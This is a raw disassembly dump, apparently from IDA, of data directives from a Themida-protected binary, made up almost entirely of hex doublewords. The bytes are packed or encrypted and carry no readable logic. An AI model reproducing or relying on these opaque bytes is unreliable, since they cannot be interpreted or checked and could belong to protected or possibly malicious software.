		dd 0DDE4D5B7h, 80FB183Fh, 5C1FA7DEh, 3B2548h, 69AA0000h
		dd 9FE374E7h, 2C77D0C5h, 9C844392h, 0F229EA3Fh,	8525079Bh
		dd 2BE83FDEh, 8CE8F8D0h, 0C13FDE84h, 8A9BC193h,	0B5520A5Ch
		dd 3C04C1DCh, 0E900BAD5h, 0E3485CDBh, 0ABh, 0D79D3368h
		dd 0ED6DF88Dh, 63B22A7Ch, 95CBDA82h, 60F095CFh,	0A4FF4412h
		dd 0B5852A0Ah, 0DD20F539h, 0B59C5685h, 5321B739h, 4FA22C07h
		dd 44D1BA54h, 0EB283F9Eh, 0F0C213B0h, 388ADBE2h, 7BA1230Ah
		dd 36677D2Bh, 0AA4h, 89DDA73Bh,	0B52171E0h, 7C6A38A4h
		dd 26ACFE6Dh, 0EEF4C617h, 9549176h, 0CB1C2DB9h,	9CCAD387h
		dd 5B8D9CCAh, 0D83B5D09h, 86B066C6h, 9124A933h,	1F66A233h
		dd 93F50DFEh, 5A39B580h, 40E46EB9h, 0A1041FF8h,	0ABFBB15h
		dd 0FDCD309Ah, 0EF367CECh, 5A1A7A94h, 8D2539B5h, 39B559ABh
		dd 59BAA172h, 331F4462h, 0F88DD79Dh, 0CD4C1A68h, 3FBh
		dd 0D6A835D6h, 1F5E74EFh, 0BFE609B7h, 9B4D4E23h, 0B514F93Fh
		dd 72A9C44Ah, 0CB6DA55Ch, 617B9845h, 4123BF16h,	8C460D6Eh
		dd 0BE9A340Fh, 0F3460D6Dh, 0BA4B1163h, 0A2F8EF29h, 74601458h
		dd 0BC7AC19Bh, 0D8AA66B8h, 8681EC22h, 1FACF7C1h, 2A4648CCh
		dd 2CF36CF0h, 0EC276853h, 8AD11B52h, 36BD14Eh, 79260000h
		dd 55BF764h, 1786DEBFh,	84B6922Ch, 8DF639B5h, 0BC39B584h
		dd 0EB4D6512h, 3239B584h, 14F5BF11h, 1B4E60BBh,	0CA3F9C93h
		dd 0F8DCA639h, 86172E15h, 78F7E370h, 8A8B292Bh,	994h, 0F9EDB72Bh
		dd 0A53181D0h, 6C7A4894h, 16BC0E5Dh, 0DE84D607h, 19448166h
		dd 0DB0C1D49h, 0AC3AC397h, 6BFD8CDAh, 0C8CB4D19h, 86AF5636h
		dd 81349933h, 0ABF76479h, 97DD7350h, 871B72CDh,	39B584A5h
		dd 2950AB68h, 415144A7h, 3F9B4CE7h, 82E1F526h, 14AAF1FCh
		dd 45CA1538h, 6B3BAE3Fh, 0C1D43910h, 0F3E7AB3Ch, 0A16A45A0h
		dd 7ABAD012h, 0ACFBA9E3h, 22191801h, 12C2888Ch,	9FCEDF46h
		dd 3D0095CFh, 0B12550F2h, 449B37A8h, 0D6B7667Eh, 1B69FF8Eh
		dd 1558E641h, 0EF65F00Eh, 23C04BF9h, 449FE6ACh,	559EA357h
		dd 348E37D6h, 8E761h, 1264F600h, 5224B544h, 95E77504h
		dd 0DFAB38C1h, 2373E28Bh, 3DF80FB7h, 0E188DEB0h, 0AFBE246Eh
		dd 50796D3Fh, 6224B200h, 0AEBFA131h, 0CD0E3386h, 0F9647936h
		dd 0A52B52A9h, 0E1BF534Ah, 243F9B4Bh, 0BD55ACF7h, 3FE44DDBh
		dd 74E0F122h, 6DC4DF26h, 4D9CFC12h, 0B2633FE4h,	9DE57A4Bh
		dd 0B1932F86h, 7C3FE44Dh, 36AEFC6Fh, 0AB3F06E7h, 5F054D82h
		dd 29A9A104h, 1D1A9D0Bh, 3E31DF26h, 9D358CE7h, 3FE3C4BBh
		dd 14AA9102h, 45C98D3Ch, 0F1BA22F3h, 3082EC4Fh,	23B24C57h
		dd 8A4BF99Eh, 9EBD9F33h, 93004C3Bh, 0F67C91A8h,	37D5FA7Dh
		dd 3514795Bh, 44000008h, 77064C16h, 3BC290E2h, 0FE8FDBA9h
		dd 0A0491D6Dh, 0C1716535h, 2072E326h, 6E34ABB2h, 0B3055178h
		dd 0F0C21627h, 5F73ACE2h, 3386ADFDh, 33E893C0h,	0F88DD79Dh
		dd 26421A68h, 0B6EC0E5Dh, 0B830E406h, 0B4011C45h, 2B085E24h
		dd 6379499Ah, 6E874BB2h, 6E423308h, 175h, 84E769F5h, 0ADCC0191h
		dd 5ABB3F9Ch, 0B0126E02h, 0C5F3FDEh, 0D20726BEh, 0DB46DC80h
		dd 0D43D0BC0h, 0EAE801B9h, 4AE4485Ch, 6B000001h, 0CCD79D33h
		dd 0E4DFAD3Fh, 0DDA739CCh, 0D914BA89h, 0B5B52CC2h, 0EB283F9Ch
		dd 0B583E1F1h, 62AF3FDEh, 0F156AF27h, 5596485Ch, 0FD000000h
		dd 0AE2C0CA2h, 22F33FDEh, 0E76920DBh, 0E3469184h, 3E325E16h
		dd 0AB077E4Bh, 3F9BED5Ah, 0BE0D1085h, 243A9998h, 0C6C8235h
		dd 0D33FDE48h, 421A61C2h, 20009EE9h, 0EF3FDE48h, 3E15FB2Eh
		dd 5E524003h, 74ED4B67h, 8CC53FDEh, 0CBC03991h,	0AD3C485Ch
		dd 83000000h, 8DD79D33h, 471D6DF8h, 7C6032A6h, 74F8223h
		dd 6045B85Dh, 0B20452F0h, 2DBE85D1h, 8DBFEABCh,	45BC03C0h
		dd 30C79BE2h, 0E939B4EDh, 3F91DD77h, 953B085Eh,	0C4AF435Ah
		dd 273F9D9Dh, 0FE58AFF6h, 0A61BA8A9h, 0CCD12813h, 0F485D1A1h
		dd 6CED1969h, 642B7B2Dh, 6D63F5Eh, 75E50000h, 33A6B723h
		dd 0F6667763h, 0BC2F3EA4h, 84D1F8EEh, 0EB3CA432h, 0FBEFBF2Eh
		dd 0A1357DD2h, 567C4E98h, 17431147h, 0B0902E71h, 7F3386ACh
		dd 227927DEh, 0EBC7112h, 0FECF3606h, 2B0DA56Fh,	0F239B578h
		dd 7825079Bh, 2BE839B5h, 0ECFDE94Ah, 33A0367Ch,	1E6D9D33h
		dd 91D1927Fh, 0F75905C1h, 0C639B4FBh, 5D6074D5h, 6C2DB90Bh
		dd 2Fh,	0C44C5EC9h, 0D2EC373Ah,	3F9B4D7Ch, 0F195D0B7h
		dd 1EFE20B3h, 0C794D2BDh, 978EE16Fh, 0C968247Bh, 0E73EDF45h
		dd 0F8C393C6h, 4AC015h,	693D0000h, 9EE474E7h, 2F76D7C6h
		dd 0D0A237D4h, 9C32098Ch, 3F9CB679h, 0FD95CFCCh, 0CC739BA2h
		dd 283752BFh, 0AA02A2DDh, 98C66A36h, 9E7F9EC6h,	0BFB25CA7h
		dd 82BE0D64h, 0D8DE0C33h, 3EE3FFC6h, 945C635h, 0A4BFDE84h
		dd 84000000h, 64612279h, 7492BC7h, 79439B5h, 556D6510h
		dd 7679076Eh, 0D7BD932Fh, 0AB683F9Ah, 0A707D4AAh, 0E9404F4Ah
		dd 0E3D977D9h, 6E55463Fh, 623149A0h, 518348h, 69080000h
		dd 9AB032E7h, 0DA82D01Ch, 0E659EC3Bh, 25BDE041h, 3F9A5150h
		dd 0A9D51687h, 0E23D52F2h, 0CF9FCEDFh, 553D0095h, 4861A91Ch
		dd 22D0h, 64792700h, 2F56ADF5h,	0BB574EA1h, 3F9B4CE3h
		dd 3E7CFD1Eh, 7994FD5Dh, 6288A8C1h, 1D2448h, 79AB0000h
		dd 0C90A5F22h, 0BCEB53B3h, 0CC85E10Bh, 0E7FBC2D1h, 39B4B5B6h
		dd 0FF1582E3h, 697BFFFFh, 19184E7h, 3F9B4D57h, 0B4FFE536h
		dd 22BCE70Ah, 45CA164Dh, 6735A744h, 9ACF987Dh, 3A0194C8h
		dd 0D6B64823h, 19461316h, 0E6411BF4h, 0F00E1558h, 4BF8DEC4h
		dd 41114263h, 7688E37Ah, 4C41DF16h, 405B34D9h, 31642EA3h
		dd 6F753DACh, 0DE9AFA14h, 0B0654C41h, 69DAECD7h, 469184E7h
		dd 0DF71D3EFh, 5FBC4C41h, 0A5EE4A64h, 0E4295227h, 0B80F66B1h
		dd 9529B87Fh, 73D5899Ch, 0BA527142h, 426DCFE3h,	63B05271h
		dd 0BC2ABB82h, 51E0FCEAh, 0F6BA4EEAh, 0BE0D1062h, 0BE35C59Bh
		dd 3D8DF0EFh, 0EEF6BC2Ch, 0ADF0FB85h, 558FF752h, 131D1BB1h
		dd 68FF9628h, 5DBEF07Fh, 65A0E907h, 0E4F2C010h,	0AD3789D5h
		dd 63794998h, 0C297F21Fh, 0CADBC294h, 0D7F3CA9Ch, 297C98C6h
		dd 986382Eh, 5FC19D0Ah,	0AEF0C0B5h, 58C88C6Dh, 0C0DB3681h
		dd 0F5BD2CB1h, 0DFB13D8Eh, 0ED69488Bh, 3681DA82h, 0B584B898h
		dd 0C5960739h, 789DC799h, 0D430A005h, 1DBCDB92h, 5DBEB365h
		dd 4A24524Ah, 0F01508E9h, 942C1763h, 4A1264F1h,	3592BBBh
		dd 0DA6FAAE7h, 6887828Fh, 30D98DECh, 6D11D2A0h,	0B6D120AFh
		dd 4A256FE1h, 0C7D9FC4Bh, 469B5077h, 0ABFB6E7Fh, 85CE1570h
		dd 0DD1FE976h, 0E34828C6h, 69739B4h, 0AB8DA53Fh, 7739B4E2h
		dd 37AAEF2Ah, 4527B6Fh,	0E296F608h, 0B45939B4h,	94F181DBh
		dd 0D939B4E2h, 83A23A8Ch, 0B4590351h, 0F5EFB52Bh, 535EB9D6h
		dd 0B4E2DDBFh, 12F32039h, 767994F9h, 4BB20455h,	0CC9AEC7Ah
		dd 0B5030D30h, 0EAFB2239h, 1C7C927Ah, 0E339B504h, 0A46A5132h
		dd 42333F4Ch, 0FFFF3980h, 227917FFh, 1169EDBFh,	0B1932FAFh
		dd 7C39B551h, 3FAD3E9Fh, 23B5166Dh, 0E4740551h,	1C4C5D9Eh
		dd 0A3F29556h, 0D084CE02h, 7E99C63Dh, 72DDA739h, 33A94DA4h
		dd 4A8F42h, 69140000h, 0FB6432E7h, 8F8A67EEh, 4154085Ah
		dd 821C07E0h, 3F9AB4ADh, 0EFB6B764h, 983C8EDEh,	0AD00E75h
		dd 0E176978Eh, 2A65AA91h, 3F668937h, 5FD8F1E8h,	43BA5F44h
		dd 7C19628h, 13B045CAh,	0B58CF7BDh, 55AC8960h, 89000000h
		dd 0B0902E79h, 7F39B584h, 0B25CA79Eh, 104764BFh, 0C9207B42h
		dd 0E3DAA834h, 9B4D78CFh, 7DDCAB3Fh, 0E9E4D3C1h, 4D2FC3DAh
		dd 903FE38Dh, 0DDA1A203h, 100B1448h, 197C6F11h,	0C954B289h
		dd 0D21CA145h, 0C239DC80h, 0BA0C5A6Bh, 0B12F322h, 411B6BFAh
		dd 8BAA694Ch, 0CCD79D33h, 0BC2DAF3Fh, 4223F2EAh, 0C5C617Bh
		dd 0AD531046h, 4E475B42h, 813F9CB5h, 8B2F213Ah,	5AA183E9h
		dd 0FA0B1283h, 50451F67h, 0E1BF536Dh, 0C93FDF26h, 0B4CD8580h
		dd 28485D61h, 54h, 32E769BFh, 7E10E076h, 0E608EB0h, 5E64756h
		dd 4A31801Eh, 0C51C3F9Ch, 0F9E3AF20h, 4AE64614h, 0E4293FDEh
		dd 37A54691h, 0FE6E7F65h, 4E528ACh, 35370ABh, 4A95F70Bh
		dd 0BB583FDEh, 281382DAh, 4AA48090h, 438E3FDEh,	0A1778E48h
		dd 0C275485Ch, 0FA000000h, 8DD79D33h, 471D6DF8h, 7C6032A6h
		dd 76ADF769h, 99FB2F13h, 0C92C903Ah, 0E9BEE5F1h, 0C91F39B4h
		dd 7794EFFBh, 1BA893E1h, 9AE5FFC5h, 1A2F9F4h, 3DD084CEh
		dd 9613AFC6h, 113F9BF5h, 0B2C8084Ah, 21821F9Ah,	1D50FEB5h
		dd 0A785E806h, 435045C6h, 0B81A4B58h, 92035929h, 0C09FEA31h
		dd 1C46102Eh, 79C72180h, 0B28AAA2Eh, 19F5576Bh,	0DB38460Ah
		dd 0A637C6E0h, 76392ED4h, 952F31A4h, 1A780h, 0D2A43600h
		dd 1264F584h, 5527B544h, 9FEB7801h, 0E3B322CBh,	7DB84FF7h
		dd 21C89EF0h, 0EFFEE4AEh, 90B92D7Fh, 22647240h,	0A67FE1F1h
		dd 0D4E3386h, 66A23376h, 7F4CD4E2h, 90C6A73Fh, 590D5789h
		dd 74E7691Ah, 0D0C59FE3h, 43922C77h, 0EA3F9C84h, 0C19FB329h
		dd 0E93FDE84h, 91E37596h, 902A65AAh, 485CDC59h,	0D493h
		dd 74EBF800h, 1C67B62Eh, 0D79D33E5h, 0A76DF88Dh, 84D2B24Ch
		dd 0F81D39B5h, 0B58482E2h, 0EF484D39h, 0F0C217B4h, 0E8E99FECh
		dd 8C8C1667h, 0E0F0C833h, 39B52ABBh, 3842F356h,	0BB9C63CEh
		dd 0DFEE4E60h, 0DC3139B4h, 0CE94C499h, 155FF198h, 175AE44Fh
		dd 0E2F7F20Ch, 1DFE3F9Bh, 6039A306h, 0F593FD97h, 0C54B388Eh
		dd 25273AAh, 92E92CB0h,	45F677Bh, 11B245C7h, 0B08BF2C4h
		dd 3AAB3863h, 5A8E4C98h, 0E035AF08h, 1B4A5307h,	6AD2BF4Bh
		dd 10A231A4h, 0AB7Dh, 0D6A03200h, 1E68F980h, 6133A148h
		dd 0ABF76475h, 0EFBF2E3Fh, 69AC7BFBh, 2D3CAAFCh, 0D3FAE8BAh
		dd 94A53183h, 36687E44h, 0A673D5EDh, 19BA3386h,	0D0A23362h
		dd 0C22CB182h, 0D229ECF0h, 41155FF1h, 0D79D3312h, 38679CCh
		dd 0A9C928Eh, 54849933h, 1FB1580Eh, 0E8780155h,	0C24839Ah
		dd 3024B2FEh, 4A2B77E8h, 0FD0E5973h, 0E5421A6Ch, 0F5E6ED3Eh
		dd 3508E9C3h, 0B114919Dh, 0B0EBA41Ch, 0BB2F75EBh, 0A6C23E92h
		dd 0BA324028h, 0FD43F6Ah, 0C086D87Ch, 0FB687D67h, 0DEBF0D5Fh
		dd 0E6216886h, 61753F91h, 22BA0858h, 373h, 2DD6C800h, 8FD59F33h
		dd 44186AFEh, 796335A1h, 35AFF364h, 0EFF5C510h,	0A53F8FDEh
		dd 5D075380h, 164E1C48h, 0CC90E277h, 0E1895174h, 4C181h
		dd 0BB530000h, 4, 875BD929h, 685C240Ch,	2941h, 68241C89h
		dd 184Bh, 57243489h, 0E463A1BFh, 0BF81BB27h, 0FB297C10h
		dd 63CB815Fh, 8149313Fh, 0EB502EBh, 4C896857h, 24890000h
		dd 24048124h, 4, 8BA525Eh, 81000000h, 0A2A12EAh, 81F2015Eh
		dd 0A2A12C2h, 5A1A895Eh, 5724348Bh, 0C781E789h,	4, 4C781h
		dd 3C870000h, 34FF5C24h, 0C4815B24h, 4,	0FB69AEE9h, 16BF8EFFh
		dd 2EDFD1B8h, 0FFC50306h, 0A2DFC3E0h, 0FC22801Ah, 4873E00h
		dd 0E9615263h, 66C08B03h, 830A00BBh, 29309DBDh,	9750006h
		dd 75BD83h, 74000629h, 8B535019h, 3FCB8C0h, 85890000h
		dd 6293105h, 0AAA29D8Dh, 0D3FF062Bh, 0BD83585Bh, 6290075h
		dd 50177400h, 3FCB853h,	85890000h, 6293105h, 0A7919D8Dh
		dd 0D3FF062Bh, 6A585Bh,	3E857h,	5F200000h, 7C895FC3h, 44810424h
		dd 180424h, 57470000h, 0B371CC3h, 0D08A81B7h, 6AC08Bh
		dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 140424h, 51410000h
		dd 0DE86FC3h, 29000000h, 0CF9F1842h, 2675C11Bh,	17F40DC7h
		dd 850F51h, 5B000000h, 29BD835Bh, 106291Ah, 68840Fh, 6A0000h
		dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 140424h, 56460000h
		dd 880F80C3h, 2, 0BD83D08Bh, 62906D1h, 37850F00h, 81000000h
		dd 74C735EBh, 31BD8313h, 62926h, 59840Fh, 6A0000h, 3E857h
		dd 5F200000h, 7C895FC3h, 44810424h, 1C0424h, 57470000h
		dd 0DE4A48C3h, 0F7B22B6h, 3EE9ECF1h, 0B3000004h, 19h, 8BD08A00h
		dd 53006AD0h, 3E8h, 0C35B2000h,	245C895Bh, 24448104h, 1704h
		dd 0C3534300h, 3265AB2Bh, 0ED2FBB66h, 0DEB6E280h, 8750BB1Fh
		dd 84B284ACh, 6AB2ED42h, 0F6EACEAAh, 0BEF667F2h, 69F66FAEh
		dd 0A6B2F5AEh, 90E2AEAAh, 70FE7E41h, 0A0E0AD60h, 0EF3F9619h
		dd 339EA2DFh, 650955CCh, 4DD83E55h, 0A6B106FFh,	0E92EEAAh
		dd 0C53BB369h, 9033EA8Eh, 6AA5EA8Eh, 60F7EEAAh,	9CAA5D69h
		dd 27506E1Ah, 0EE5B3D20h, 39B2EEAFh, 0AA5ABFAAh, 0F4B2EEAAh
		dd 0E3EB2DF3h, 0B4B6CAE6h, 87B6CAEEh
		dd 0CB2EEAAh, 8EAB2DFBh, 6F160D48h, 0A4B0437Dh,	0D45ABB5Fh
		dd 37B2EEAAh, 0D7E9032Bh, 9AD8E884h, 4DB106F9h,	0FD92EEAAh
		dd 0F3BB569h, 0ED33EA8Eh, 0D4A4EA8Eh, 39F1EEAAh, 9E800A69h
		dd 0AE506FCAh, 0FBFCCBF8h, 0A6D88F16h, 53B106F9h, 0F292EEAAh
		dd 883BB569h, 2E33EA8Eh, 35A4EA8Eh, 0C9F1EEAAh,	46DE4869h
		dd 0A6D82E21h, 53B106FDh, 0F692EEAAh, 0A83BB169h, 2E33EA8Eh
		dd 35A5EA8Eh, 0CDF5EEAAh, 441C2C69h, 1CD47E51h,	0E5E27AF6h
		dd 0CFD27E0Ah, 41B3062Bh, 65D3EB18h, 0CB96A2ABh, 50011620h
		dd 1FB284F2h, 0A6B2ED42h, 90E8CEAAh, 8DE667F0h,	0F0F66FAEh
		dd 6AB2F7AEh, 0F6E0ACAAh, 0CA8B7E14h, 730897E8h, 0A3B9AAC2h
		dd 53B2ECA6h, 41E4EEC0h, 0D4B2EEA9h, 3471B08Ah,	31969A23h
		dd 9E96AA2Bh, 4DB2EEBEh, 8E71B8ECh, 0D86365CCh,	0A9A606A2h
		dd 843EEAAh, 6810D07Ah,	0BE6AAA16h, 141D690Dh, 7E18546Ah
		dd 0C0D26AC1h, 8D32C21h, 55FA65CCh, 3CE2EEC0h, 6AB2EEA9h
		dd 6D71B68Ah, 9E96AA23h, 4996AA2Bh, 0A6B2EEBFh,	871BEEAh
		dd 6A338820h, 6BBDFD4Eh, 6AB35678h, 35D8EEAAh, 9AB106FFh
		dd 1092EEAAh, 0CA3BB369h, 1733EA8Eh, 0A9A7EA8Eh, 81F7EEAAh
		dd 0FB695569h, 3F5BBDCAh, 98B2EEAAh, 0E838766Fh, 445726AEh
		dd 0EBD4B594h, 0F9D3584Fh, 6FD4BCFAh, 5BBDBA54h, 35BC60A5h
		dd 935BEEAAh, 0D3B2EEAAh, 7F58EDDBh, 8DF118A2h,	1A23B6F0h
		dd 0D3E8838h, 82E5EEC0h, 35B2EEA9h, 0C571B18Ah,	49969223h
		dd 0A296AA2Bh, 53B2EEB2h, 0ED71B9EDh, 1746F58h,	6AB2E043h
		dd 34124AAh, 8C56DAF4h,	6ED2C474h, 4FA2947Dh, 53B2EEA2h
		dd 19AB61D6h, 0DB6E9873h, 6AA066A5h, 3C5AEEAAh,	0FDB2EEAAh
		dd 0D6996194h, 7DC08149h, 86565CCh, 0A6B62F5Ch,	0D4B3F42Fh
		dd 993388AAh, 5FEB5961h, 995AB9AAh, 6DB2EEAAh, 2FED2DF5h
		dd 0D2B6CAD6h, 0B5B6CAEEh, 93B2EEAAh, 30172DFDh, 5C1DF6D8h
		dd 95EB79DDh, 4DB2E62Eh, 0A43FE1AAh, 33B2EEAAh,	0A55B8ECBh
		dd 0F9B2EEAAh, 6FF7A5Ah, 33A2C052h, 290DA8D2h, 74328F26h
		dd 0E737E1C2h, 39B2EEABh, 0AA5AB8AAh, 0F4B2EEAAh, 0E3EC2DF4h
		dd 0B4B6CADEh, 83B6CAEEh, 0BB2EEAAh, 0B8632DFCh, 0F517F22Ch
		dd 0A6B39721h, 0D4B2E827h, 0BD28EAAh, 0B4D38FCAh, 9AB2EE55h
		dd 4830E12Ah, 0A9B2EEABh, 53B2ED21h, 7A0DE1AAh,	0D4B064A5h
		dd 3705EEAAh, 0D4136B6Dh, 9AB3E884h, 4DD8EEAAh,	0A6B106FFh
		dd 0E92EEAAh, 0C53BB369h, 9033EA8Eh, 6AABEA8Eh,	60F7EEAAh
		dd 0A3B5C169h, 0B8063927h, 0A6B23E43h, 4B284AAh, 0A9B2ED42h
		dd 17EDCEAAh, 4ECE67F5h, 11F66FAEh, 9AB2F8AEh, 8EE5A9AAh
		dd 4F9A9415h, 53B2EE0Ah, 41E1EEC0h, 0D4B2EEA9h,	3171B58Ah
		dd 3196B223h, 9E96AA2Bh, 4DB2EEB3h, 7471BDE9h, 366D7142h
		dd 0F0EC5D94h, 3CE5EEC0h, 6AB2EEA9h, 6A71B18Ah,	9E969223h
		dd 4996AA2Bh, 0A6B2EEBDh, 5671B9EDh, 2344BF0Dh,	0AD31885Dh
		dd 0EEBD11A1h, 35B2EEFAh, 5D6B59A5h, 63534F2Fh,	0A6B2EFACh
		dd 5B284AAh, 0A9B2ED42h, 17ECCEAAh, 4EC667F4h, 11F66FAEh
		dd 9AB2F2AEh, 8EE4A8AAh, 8ABFE1EDh, 0C86211FAh,	69328E7Ch
		dd 1A398EEEh, 6AB2FE43h, 0EF2D9AAh, 5259D7E7h, 0A2B0E998h
		dd 1DE70682h, 0ABD38F5Bh, 0A9B707E2h, 0AF0AEEAAh, 0DC180287h
		dd 0FB9357B7h, 1F3FD8F9h, 4B9C096Ch, 434B5327h,	0AB89E884h
		dd 0A682E9DEh, 3FF5277Bh, 3DB2845Fh, 35B2ED42h,	59EDCEAAh
		dd 69CE67F5h, 82F66FAEh, 53B2F2AEh, 6AE5A9AAh, 516D11CFh
		dd 6D6407E0h, 0E6696F8Ch, 0F0FA40A8h, 4E5ABDAAh, 86B2EEAAh
		dd 0DAE92DF1h, 28B6CAF6h, 0CCB6CAEEh, 29B2EEAAh, 3FC52DF9h
		dd 95AF6FE1h, 4DB2EB24h, 0D40255AAh, 0EE31A544h, 0AF9BF483h
		dd 0B236E1ABh, 0EBB2EEAAh, 24B97040h, 4B0F6D8Eh, 4DB4C7ACh
		dd 0A6E16BA5h, 53D8EEAAh, 0A9B106F8h, 8E92EEAAh, 3E3BB469h
		dd 7133EA8Eh, 9AABEA8Eh, 1FF0EEAAh, 7B6C3D69h, 35C08F9Fh
		dd 1EBD3F21h, 0E50F6D71h, 6AB4C78Ch, 359A6AA5h,	9AD8EEAAh
		dd 4DB106FAh, 0FE92EEAAh, 173BB669h, 0ED33EA8Eh, 0D4A6EA8Eh
		dd 3AF2EEAAh, 0EA321469h, 9A030700h, 0F7D4EEAAh, 1B31A50Bh
		dd 559BF483h, 2F37E1ABh, 0DBB2EEAAh, 6AB2EB24h,	67FC54AAh
		dd 0F0EFCF0Eh, 4E5AB9AAh, 86B2EEAAh, 0DAED2DF5h, 28B6CAD6h
		dd 0CCB6CAEEh, 2DB2EEAAh, 70CB2DFDh, 956DDB31h,	4DB2EB26h
		dd 11BDBFAAh, 3971B47Bh, 0AA5AB9AAh, 0F4B2EEAAh, 0E3ED2DF5h
		dd 0B4B6CAD6h, 86B6CAEEh, 0AB2EEAAh, 93532DFDh,	0F2FAE7F7h
		dd 4055365Ah, 0D4B2EE95h, 82E1EEC0h, 35B2EEA9h,	0C171B58Ah
		dd 4996B223h, 0A296AA2Bh, 53B2EEB7h, 0DE71BDE9h, 0A780129Dh
		dd 8A9FC9C2h, 255BB3F5h, 0D3B2EEAAh, 581674BDh,	32EC785Ch
		dd 70285AE9h, 66C46A7Bh, 594A3721h, 44532117h, 0A63F63ACh
		dd 22B4C04Dh, 3688B2B7h, 0AA2F6B99h, 9C99E883h,	57B0076Bh
		dd 0D8F9FB93h, 96C1F3Fh, 53274B9Ch, 0E884434Bh,	0E9DEAB89h
		dd 837BA682h, 0A4F305E9h, 0E1A1BD83h, 7400062Eh, 6B8D8D0Dh
		dd 0B806294Dh, 1, 6A40E1FFh, 3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 19042444h, 43000000h, 9301C353h, 8CA09C12h
		dd 35BA5360h, 597CF063h, 8D0Fh,	83610000h, 6A2DE8h, 3E857h
		dd 5F200000h, 7C895FC3h, 44810424h, 1A0424h, 57470000h
		dd 0F03970C3h, 0A402FA40h, 11E9h, 0FFA4F400h, 56B42FC4h
		dd 8BDE1955h, 9F683B7Dh, 0C08B975Fh, 0E856006Ah, 3, 5EC35E20h
		dd 4247489h, 4244481h, 17h, 3C35646h, 8BB0DEFCh, 9DBD83D6h
		dd 62930h, 0BD830975h, 6290075h, 50197400h, 0B8C08B53h
		dd 3FCh, 0DA18589h, 9D8D0629h, 62BAB09h, 585BD3FFh, 75BD83h
		dd 74000629h, 0B8535017h, 3FCh,	0DA18589h, 9D8D0629h, 62BA7AAh
		dd 585BD3FFh, 0F7BF0F60h, 0C4F68061h, 0E852006Ah, 3, 5AC35A20h
		dd 4245489h, 4244481h, 1Ch, 8EC35242h, 24B5D41Fh, 0BF90142Fh
		dd 8BD88B66h, 24EBC0h, 8 dup(0)
		dd 0E9000000h, 0BDh, 0E8D3B589h, 858B062Eh, 6291A29h, 1AA1858Bh
		dd 0B58D0629h, 62EE91Dh, 4C75858Dh, 0D0FF062Ch,	0E855C3h
		dd 5D000000h, 0E923ED81h, 0BD83062Eh, 6291A29h,	2C850F01h
		dd 0FF000000h, 2EE8D3B5h, 0A1858B06h, 3506291Ah, 34812736h
		dd 13CD0FFh, 0A850Fh, 1B80000h,	0E9000000h, 47h, 40E9C033h
		dd 6A000000h, 0D7B58D1Ch, 56062EE8h, 0E8D3B5FFh, 858B062Eh
		dd 6291AA1h, 81273635h,	83D0FF34h, 0B58D0CC4h, 62EE8D7h
		dd 8314468Bh, 0F88304E0h, 7840F04h, 33000000h, 5E9C0h
		dd 1B80000h, 83000000h,	291A29BDh, 850F0106h, 7, 2E9C35Dh
		dd 5D000000h, 0FC858DCFh, 89062EE8h, 292FA985h,	0B1E906h
		dd 0D4710000h, 942E42h,	50000h,	10000h,	0A280000h, 20000h
		dd 26h dup(0)
		dd 0E9000000h, 0B98h, 2EEC4A68h, 9312E906h, 668FFFAh, 0E9062EEDh
		dd 0FFFA9308h, 2EEE0C68h, 92FEE906h, 7468FFFAh,	0E9062EEEh
		dd 0FFFA92F4h, 2EEF7D68h, 92EAE906h, 68FFFAh, 0E9062EF0h
		dd 0FFFA92E0h, 2EF37368h, 92D6E906h, 8268FFFAh,	0E9062EF4h
		dd 0FFFA92CCh, 3E3CCF14h, 7DF100D8h, 8549C29Bh,	0D105F663h
		dd 1EDC5137h, 0EF4D924Eh, 0B416F062h, 78D33539h, 0C1A543F3h
		dd 472E8A48h, 3E04E053h, 8134C97Ah, 11E960C4h, 0E456DFBFh
		dd 0C3289306h, 0A1199275h, 0FB3F1662h, 7A45BE0Fh, 0DFD397F8h
		dd 86961E60h, 0D8DE276Ch, 86961F57h, 65FBD142h,	0B2AF31C1h
		dd 454B74B3h, 2000000h,	7359D4B6h, 5F59C0F0h, 0C62F76FFh
		dd 0B9F686DAh, 8EEA6748h, 72F73A7h, 37587A45h, 7C03F73h
		dd 880C8695h, 0CED41C96h, 8AF674B4h, 12352132h,	0CFD65DAh
		dd 59DAD825h, 4086956Bh, 80CF9DFh, 39000001h, 8CE960C4h
		dd 0EEFC7FBBh, 0BAE5806Ch, 0A2F67DDEh, 179A78DEh, 0B519FD53h
		dd 0EC3A6FCFh
dword_5A6568	dd 0CA137A84h, 3705886Eh, 0A0298D43h, 62C2F6B2h, 399D806Ch
					; DATA XREF: Themida_:0055A654o
		dd 0B6044395h, 9D515FD6h, 0B4A6814Bh, 7BDDD3DDh, 858B06E0h
		dd 0F8DC710Eh, 0E2CB421Ah, 0D2233F99h, 6C1553A4h, 87D5BE80h
		dd 7BC05933h, 6ACDC912h, 2F806C14h, 8E0CC04Dh, 7246A12Ch
		dd 0E593E713h, 137C7A44h, 18C6ECAh, 2C8E6AB9h, 71934BA1h
		dd 0F63A03A8h, 0A906B6BDh, 6FD59AB7h, 0F4F87676h, 30664FADh
		dd 8070E925h, 3DB94DB3h, 0D15D6BE8h, 0E9325DFBh, 0D622D30Fh
		dd 0BBBB19FFh, 0B59E68E5h, 3E8805E7h, 0AE488AD5h, 0E05347C8h
		dd 0C98CC12Bh, 0B0CE7F46h, 71AD5C03h, 9072ABDh,	518E0000h
		dd 8A56B0A2h, 0B81DFB7Bh, 7CE50333h, 0CBA94F8Fh, 0CC49446h
		dd 6EEC61C7h, 0B3A32E88h, 0F579F255h, 32BB13h, 66C9CDA4h
		dd 537A3E02h, 66C40BB2h, 298D6BEBh, 4B39B2A0h, 732AE545h
		dd 6C62B407h, 0E721D80h, 1F7D45CFh, 0E57DCBDh, 4537D608h
		dd 289E817Ah, 953767D4h, 3DE16786h, 0B49E2BB5h,	95C774h
		dd 0C46C0000h, 0BF11E960h, 9E9254D9h, 806CEB5Ah, 2A28A105h
		dd 19E168CCh, 7248D643h, 0C33ADDDBh, 67C59A0h, 7A4622B4h
		dd 20C27023h, 0ADE93279h, 8071DDDDh, 0AC7451C2h, 0FA9343CEh
		dd 7630C31Eh, 0CFBB3690h, 0F95FBD84h, 5F95961Bh, 0D2AD5B04h
		dd 84B8BDCh, 15C20000h,	469274E6h, 846187B7h, 3029CF0Fh
		dd 17F513C3h, 0D008589Ah, 3220AD03h, 7FFF72D4h,	81B53E99h
